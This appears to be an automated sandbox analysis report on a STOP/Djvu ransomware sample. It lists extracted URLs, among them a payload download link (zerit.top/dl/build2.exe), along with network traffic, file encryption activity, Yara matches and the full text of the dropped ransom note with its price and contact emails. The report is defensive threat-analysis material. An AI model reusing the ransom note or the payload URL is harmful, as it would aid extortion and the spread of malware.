Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000002.3350547056.00000000008C8000.00000004.00000020.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000002.3350547056.000000000090D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zerit.top/dl/build2.exe
Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000002.3350547056.00000000008C8000.00000004.00000020.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000002.3350547056.0000000000959000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zerit.top/dl/build2.exe$run
Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 00000007.00000002.2174963627.00000000008E8000.00000004.00000020.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000002.3350547056.000000000090D000.00000004.00000020.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000F.00000002.3339634131.000000000089C000.00000004.00000020.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000F.00000003.2262004062.000000000089C000.00000004.00000020.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 00000015.00000003.2346339301.000000000064C000.00000004.00000020.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 00000015.00000002.2347060091.000000000064C000.00000004.00000020.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 00000015.00000003.2345840008.000000000064A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/
Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000002.3350547056.000000000090D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/0-sH
Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000001A.00000003.2420946749.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000001A.00000002.2422250448.0000000000771000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/N
Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 00000015.00000002.2346946874.0000000000637000.00000004.00000020.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 00000015.00000003.2345840008.000000000064A000.00000004.00000020.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 00000016.00000002.2411559257.0000000002300000.00000040.00001000.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000001A.00000003.2420946749.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000001A.00000002.2422156163.0000000000718000.00000004.00000020.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000001A.00000002.2421904618.0000000000400000.00000040.00000400.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000001A.00000002.2422250448.0000000000771000.00000004.00000020.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000001A.00000002.2422156163.0000000000759000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json
Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000001A.00000002.2422156163.0000000000718000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json%
Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 00000007.00000002.2174963627.00000000008A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json-
Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000001A.00000002.2422156163.0000000000759000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json1
Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 00000015.00000002.2346946874.00000000005F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonNGi;
Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000F.00000002.3339634131.0000000000838000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonT
Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 00000015.00000002.2346946874.00000000005F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonW.S
Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000002.3350547056.00000000008C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsoncN
Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000F.00000002.3339634131.0000000000838000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsond
Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000002.3350547056.00000000008C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonkN
Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 00000007.00000002.2174963627.00000000008A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonm
Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 00000015.00000002.2346946874.00000000005F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonw
Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 00000015.00000002.2346946874.00000000005F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonw;
Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000001A.00000003.2420946749.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000001A.00000002.2422250448.0000000000771000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/j
Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000F.00000002.3339634131.000000000089C000.00000004.00000020.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000F.00000003.2262004062.000000000089C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/u
Source: wct425E.tmp.12.dr	String found in binary or memory: https://dc.services.visualstudio.com/v2/track
Source: wct425E.tmp.12.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/win81https://g.live.com/1rewlive5skydrive/win8https://g.live.co
Source: wct425E.tmp.12.dr	String found in binary or memory: https://g.live.com/odclientsettings/Enterprisehttps://g.live.com/odclientsettings/MsitFasthttps://g.
Source: OmbNjE.exe, 00000001.00000003.2110497969.000000000068E000.00000004.00000020.00020000.00000000.sdmp, OmbNjE.exe, 00000001.00000002.2173933095.000000000068E000.00000004.00000020.00020000.00000000.sdmp, OmbNjE.exe, 0000000B.00000002.2236324818.0000000000E73000.00000004.00000020.00020000.00000000.sdmp, OmbNjE.exe, 0000000B.00000003.2206689096.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000003.3307408610.00000000009B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://we.t
Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000002.3350547056.000000000097F000.00000004.00000020.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000F.00000002.3339634131.00000000008F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://we.tl/t-NdDG3HIU
Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000002.3350547056.0000000000976000.00000004.00000020.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000002.3350547056.000000000097C000.00000004.00000020.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000002.3350547056.0000000000959000.00000004.00000020.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000F.00000002.3339634131.0000000000838000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://we.tl/t-NdDG3HIUZp

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49733 version: TLS 1.2

Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe

Code function: 7_2_004822E0 CreateDCA,CreateCompatibleDC,GetDeviceCaps,GetDeviceCaps,GetDeviceCaps,CreateCompatibleBitmap,SelectObject,GetObjectA,BitBlt,GetBitmapBits,SelectObject,DeleteObject,DeleteDC,DeleteDC,DeleteDC,

7_2_004822E0

Spam, unwanted Advertisements and Ransom Demands

Found ransom note / readme

Source: C:\_readme.txt

Dropped file: ATTENTION!Don't worry, you can return all your files!All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.The only method of recovering files is to purchase decrypt tool and unique key for you.This software will decrypt all your encrypted files.What guarantees you have?You can send one of your encrypted file from your PC and we decrypt it for free.But we can decrypt only 1 file for free. File must not contain valuable information.You can get and look video overview decrypt tool:https://we.tl/t-NdDG3HIUZpPrice of private key and decrypt software is $980.Discount 50% available if you contact us first 72 hours, that's price for you is $490.Please note that you'll never restore your data without payment.Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours.To get this software you need write on our e-mail:support@sysmail.chReserve e-mail address to contact us:supportsys@airmail.ccYour personal ID:0428JsfkjndYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1

Jump to dropped file

Yara detected Babuk Ransomware

Source: Yara match	File source: Process Memory Space: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe PID: 7020, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe PID: 1492, type: MEMORYSTR

Yara detected Djvu Ransomware

Source: Yara match	File source: 7.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.22815a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.22815a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.22815a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.22c15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.23015a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.23015a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.23015a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.22815a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.22c15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.23015a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.2217369169.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2157605018.0000000002300000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2421904618.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3338747640.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2346631320.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2334933995.0000000002280000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2252342161.0000000002280000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3349921663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.2411559257.0000000002300000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe PID: 6432, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe PID: 1804, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe PID: 1404, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe PID: 6272, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe PID: 7020, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe PID: 1492, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe PID: 5608, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe PID: 736, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe PID: 3196, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe PID: 6688, type: MEMORYSTR

Modifies existing user documents (likely ransomware behavior)

Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	File moved: C:\Users\user\Desktop\NEBFQQYWPS\NEBFQQYWPS.docx
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	File deleted: C:\Users\user\Desktop\NEBFQQYWPS\NEBFQQYWPS.docx
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	File moved: C:\Users\user\Desktop\BNAGMGSPLO.jpg
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	File deleted: C:\Users\user\Desktop\BNAGMGSPLO.jpg
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	File moved: C:\Users\user\Desktop\IPKGELNTQY.xlsx

Writes a notice file (html or txt) to demand a ransom

Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	File dropped: C:\_readme.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.you can get and look video overview decrypt tool:https://we.tl/t-nddg3hiuzpprice of private key and decrypt software is $980.discount 50% available if you contact us first 72 hours, that's price for you is $490.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:support@sysmail.chreserve e-mail address to contact us:supportsys@airmail.ccyour personal id:0428jsfkjndyudke4rrbmspsf8srhmsyp40jle9uyxddcfdxt1	Jump to dropped file
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	File dropped: C:\$WinREAgent\_readme.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.you can get and look video overview decrypt tool:https://we.tl/t-nddg3hiuzpprice of private key and decrypt software is $980.discount 50% available if you contact us first 72 hours, that's price for you is $490.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:support@sysmail.chreserve e-mail address to contact us:supportsys@airmail.ccyour personal id:0428jsfkjndyudke4rrbmspsf8srhmsyp40jle9uyxddcfdxt1	Jump to dropped file
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	File dropped: C:\$WinREAgent\Scratch\_readme.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.you can get and look video overview decrypt tool:https://we.tl/t-nddg3hiuzpprice of private key and decrypt software is $980.discount 50% available if you contact us first 72 hours, that's price for you is $490.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:support@sysmail.chreserve e-mail address to contact us:supportsys@airmail.ccyour personal id:0428jsfkjndyudke4rrbmspsf8srhmsyp40jle9uyxddcfdxt1	Jump to dropped file
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	File dropped: C:\Users\user\_readme.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.you can get and look video overview decrypt tool:https://we.tl/t-nddg3hiuzpprice of private key and decrypt software is $980.discount 50% available if you contact us first 72 hours, that's price for you is $490.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:support@sysmail.chreserve e-mail address to contact us:supportsys@airmail.ccyour personal id:0428jsfkjndyudke4rrbmspsf8srhmsyp40jle9uyxddcfdxt1	Jump to dropped file

System Summary

Malicious sample detected (through community Yara rule)

Source: 7.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 7.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 17.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.22815a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 17.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.22815a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 15.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 15.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 21.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 21.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 12.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 12.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 10.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.22815a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 10.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.22815a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 26.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 26.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 10.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.22815a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 10.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.22815a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 7.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 7.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 9.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.22c15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 9.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.22c15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 22.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.23015a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 22.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.23015a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 26.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 26.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
